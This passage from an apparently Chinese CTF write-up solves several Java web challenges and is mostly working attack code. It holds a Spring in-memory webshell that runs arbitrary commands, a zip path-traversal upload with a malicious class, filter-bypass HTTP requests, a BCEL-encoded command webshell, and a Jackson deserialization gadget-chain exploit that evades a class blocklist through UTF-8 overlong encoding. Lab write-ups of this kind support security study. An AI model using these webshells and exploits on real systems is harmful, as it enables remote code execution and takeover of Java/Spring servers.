78
79
80
81
82
83
84
85
86
87
88
89
90
package com.p0l1st;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

/**
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
@Controller
public class SpringControllerMemShell3 extends AbstractTranslet {

public SpringControllerMemShell3() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringControllerMemShell3.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo info =
(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);

SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {

}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public SpringControllerMemShell3(String aaa) {
}

@RequestMapping("/malicious")
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}

image-20250805211814530

image-20250805211848211

ezUtil

com.polar.ctf.admin.api.controller.GetClasssController

image-20250807010831293

这里存在反射可以调用任意方法

再来看FileUtil,这里可以创建文件夹,删除文件夹,写zip,解压zip,并且unZipFile解压时存在目录穿越

image-20250807011541785

那么就有任意文件上传了,至于写什么可以参考上面的一写一个不吱声,直接往$JAVA_HOME/jre/classes写一个类,然后通过GetClasssController去调用

但是我们访问/admin/*会被Filter拦截

可以用/admin;/xxx/xxx;admin/来绕过

恶意类

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;

public class Evil {
public static boolean getShell(String code) throws Exception{
ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();
Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);
Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
loadedClass.newInstance();
return true;
}
}

zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import zipfile
import os
web_path = "/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/"
upload_file_name = "Evil.class"

files_to_zip = {
"Evil.class": "../../../../../../../../" + web_path + upload_file_name
}

# 指定输出ZIP文件的名称
zip_filename = "Evil.zip"

# 创建一个新的ZIP文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for original_file, new_name in files_to_zip.items():
# 检查文件是否存在
if os.path.exists(original_file):
# 使用arcname参数更改压缩包中的文件名
zipf.write(original_file, arcname=new_name)
else:
print(f"文件 {original_file} 不存在,跳过压缩")

print(f"已创建 ZIP 文件: {zip_filename}")

我们先上传zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 93d64b59-6fd1-49e0-8b9a-fd9271b2ad14.www.polarctf.com:8090
Content-Type: application/json

{
"data": {
"clazzName": "com.polar.ctf.admin.util.FileUtil",
"fieldName": [
"UEsDBBQAAAAIAHMRB1udM22/owIAAFcFAABPAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9qdm0vamF2YS04LW9wZW5qZGstYW1kNjQvanJlL2NsYXNzZXMvRXZpbC5jbGFzc41UW1PTUBD+Dg1NW6JACxRRVFQkTSEV8YZFRG7qTMGHOjjoUxoObTAkTJpW/U+8+FIdZ3R49kc57kkKtBAdOtOzObvfXr7dTX7/+fELwAO8SiGOqQTUFCTkZGhC5mVMpzADXUZB2O8lMCvjvjDNpcjpoXh6JOMxQ3zBcix/kSGm5rYYpBV3hzP0lyyHbzb2K9x7a1Rs0qRLrmnYW4ZniXtbKfk1q04xSmtNyy4yJKrcL9e4bTMMq6U9o2kUbMOpFsq+ZznVYu49uZhBgvR5K0OfaRv1esk1drjHkO2ArJwaCNdv01Og2uB+zd1hGOvAenzX5qZfCG0irIDz0IFh8GxYQox0k/tycExw6Cx4QVskfGrts8kPfMt16jKe0L3sNjyTr1vCJymaoQs/BQMYZJg13X293nB016vqxoFh1rheMbmtW47PPcew9YZPHh0cFczjKfE8k1xBEQsMA6fqN5U9oirjmYJFPKeuR7ZMwRJeUGEnbeuKEbZfwTJWZKwqWMO6iPaSZiWYMGROsSe8GeRd19s09onwZNSoo7pM27HKacYeDYNa53sN03dp0nPqh3PwXMREO5wo3Ph/ATR2h396TXfDManIqa4cYd+6krRV4RK3u5RRo3gkCXC8eEsR3C9G5mQ9R/9loxfLcpruR6p+Xj1f6UX5DKkRakygnz4M4tcDJvaUzjTdCiQZyV7tG9jXwJyhMx4oYxiiUwkBGMYIySSyGCWUcD4knERyOd3zHbHYT0gt9JKItyAfIVHKt5BMpyTSb8fSfeUWlI3pPF3j2zGNbpeOIG3OtHD5nXQYZBOZRyiTyJal2BpkegUStM7JoBItzIYrGCOZRR5XcY2q06iicVynqorkcQM3KdZEu/JQc4s0t0kjkeYO/ScDpnf/AlBLAQIUABQAAAAIAHMRB1udM22/owIAAFcFAABPAAAAAAAAAAAAAAC2gQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvY2xhc3Nlcy9FdmlsLmNsYXNzUEsFBgAAAAABAAEAfQAAABADAAAAAA==",
".",
"Evil"
],
"methodName": "generateZip"
}
}

image-20250807021506713

然后解压

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 93d64b59-6fd1-49e0-8b9a-fd9271b2ad14.www.polarctf.com:8090
Content-Type: application/json

{
"data": {
"clazzName": "com.polar.ctf.admin.util.FileUtil",
"fieldName": [
"Evil.zip"
],
"methodName": "unZipFile"
}
}

image-20250807021521506

最后传入一写一个不吱声的回显马

1
{"data":{"fieldName":["$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A"],"methodName":"getShell","clazzName":"Evil"}}

image-20250807021625819

ez_check

image-20250807023100032

/deserialize可以直接反序列化,KmpCheck方法会检验是否存在黑名单字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.ldap
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

SafeObjectInputStrea存在黑名单类

image-20250807023332657

依赖只有SpringBoot但是SpringBoot自带Jackson

image-20250807023453928

打Jackson原生二次反序列化,黑名单用UTF-8 Overlong Encoding绕过

大致的链子应该是

1
2
3
4
5
6
7
readObject()->
XString.equals()->
POJONode.toString()->
SignedObject.getObject()->
BadAttributeValueExpException.readObject()->   
POJONode.toString()->
TemplatesImpl.getOutputProperties()

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.Signature;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.UUID;

public class XStringToJackson {
public static Object makeTemplatesImplAopProxy(Object templatesImpl) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
setFieldValue(s, "size", 2);

Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}

Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static Object listWrap(Object getterObject, Object originObj) throws Exception {
ArrayList<Object> list = new ArrayList();
list.add(getterObject);
list.add(originObj);
return list;
}
public static Method getMethod(Object obj, String methodName, Class<?>[] paramTypes) {
Class clazz = obj.getClass();
Method method = null;

try {
method = obj.getClass().getDeclaredMethod(methodName, paramTypes);
} catch (NoSuchMethodException ignored) {
}
while(method == null && clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramTypes);
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
return null;
} else {
method.setAccessible(true);
return method;
}
}
//XString 碰撞hash ,调用obj的toString方法
public static Object getHashMap(Object obj) throws Exception {
XString xstring = new XString("");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();

map1.put("yy", xstring);
map1.put("zZ", obj);

map2.put("zZ", xstring);
map2.put("yy", obj);
HashMap map = makeMap(map1, map2);
return map;
}
// 序列化时,对字符串进行UTF-8编码,导致长度超出预期,触发异常,进而绕过字符串校验触发反序列化。
public static byte[] serializeOverlongEncoding(Object obj) throws Exception {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new UTF8OverlongObjectOutputStream(out);
outputStream.writeObject(obj);
return out.toByteArray();
}
public static CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"cmd\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"/bin/bash\", \"-c\", tc}; \n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }", clazz));

// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static void main(String[] args) throws Exception {
byte[] bytecodes = genPayloadForWin().toBytecode();
Object templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
setFieldValue(templates, "_name", UUID.randomUUID().toString());
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 动态代理TemplatesImpl对象,防止不稳定触发的情况
Object getter = makeTemplatesImplAopProxy(templates);
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
Object tostring1 = new POJONode(getter);

HashMap map = (HashMap) getHashMap(tostring1);
Object serObject = listWrap(getter, map);

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
java.security.SignedObject signedObject = new java.security.SignedObject(1, privateKey, signingEngine);
byte[] ser1 = null;
ser1 = (byte[]) Class.forName("XStringToJackson").getDeclaredMethod("serializeOverlongEncoding", Object.class).invoke(null, serObject);
setFieldValue(signedObject, "content", ser1);
getMethod(signedObject, "sign", new Class[]{PrivateKey.class, Signature.class}).invoke(signedObject, privateKey, signingEngine);

Object tostring = new POJONode(signedObject);

HashMap map2 = (HashMap) getHashMap(tostring);
Object ser = listWrap((Object) signedObject, map2);
//获取序列化
byte[] serialize = serializeOverlongEncoding(ser);
// System.out.println(new String(serialize));
System.out.println(Base64.getEncoder().encodeToString(serialize));

ByteArrayInputStream btin = new ByteArrayInputStream(serialize);
ObjectInputStream objIn = new ObjectInputStream(btin);
objIn.readObject();

}
public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void setAccessible(AccessibleObject ao) {
try {
Unsafe unsafe = getUnsafe();
long overrideFieldOffset = unsafe.objectFieldOffset(AccessibleObject.class.getDeclaredField("override"));
unsafe.putBoolean(ao, overrideFieldOffset, true);
} catch (Exception e) {
// fallback
ao.setAccessible(true);
}
}
public static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
} catch (Exception e) {
throw new RuntimeException("Unable to obtain Unsafe instance", e);
}
}
}

UTF8OverlongObjectOutputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
public static HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
put('.', new int[]{0xc0, 0xae});
put(';', new int[]{0xc0, 0xbb});
put('$', new int[]{0xc0, 0xa4});
put('[', new int[]{0xc1, 0x9b});
put(']', new int[]{0xc1, 0x9d});
put('a', new int[]{0xc1, 0xa1});
put('b', new int[]{0xc1, 0xa2});
put('c', new int[]{0xc1, 0xa3});
put('d', new int[]{0xc1, 0xa4});
put('e', new int[]{0xc1, 0xa5});
put('f', new int[]{0xc1, 0xa6});
put('g', new int[]{0xc1, 0xa7});
put('h', new int[]{0xc1, 0xa8});
put('i', new int[]{0xc1, 0xa9});
put('j', new int[]{0xc1, 0xaa});
put('k', new int[]{0xc1, 0xab});
put('l', new int[]{0xc1, 0xac});
put('m', new int[]{0xc1, 0xad});
put('n', new int[]{0xc1, 0xae});
put('o', new int[]{0xc1, 0xaf}); // 0x6f
put('p', new int[]{0xc1, 0xb0});
put('q', new int[]{0xc1, 0xb1});
put('r', new int[]{0xc1, 0xb2});
put('s', new int[]{0xc1, 0xb3});
put('t', new int[]{0xc1, 0xb4});
put('u', new int[]{0xc1, 0xb5});
put('v', new int[]{0xc1, 0xb6});
put('w', new int[]{0xc1, 0xb7});
put('x', new int[]{0xc1, 0xb8});
put('y', new int[]{0xc1, 0xb9});
put('z', new int[]{0xc1, 0xba});
put('A', new int[]{0xc1, 0x81});
put('B', new int[]{0xc1, 0x82});
put('C', new int[]{0xc1, 0x83});
put('D', new int[]{0xc1, 0x84});
put('E', new int[]{0xc1, 0x85});
put('F', new int[]{0xc1, 0x86});
put('G', new int[]{0xc1, 0x87});
put('H', new int[]{0xc1, 0x88});
put('I', new int[]{0xc1, 0x89});
put('J', new int[]{0xc1, 0x8a});
put('K', new int[]{0xc1, 0x8b});
put('L', new int[]{0xc1, 0x8c});
put('M', new int[]{0xc1, 0x8d});
put('N', new int[]{0xc1, 0x8e});
put('O', new int[]{0xc1, 0x8f});
put('P', new int[]{0xc1, 0x90});
put('Q', new int[]{0xc1, 0x91});
put('R', new int[]{0xc1, 0x92});
put('S', new int[]{0xc1, 0x93});
put('T', new int[]{0xc1, 0x94});
put('U', new int[]{0xc1, 0x95});
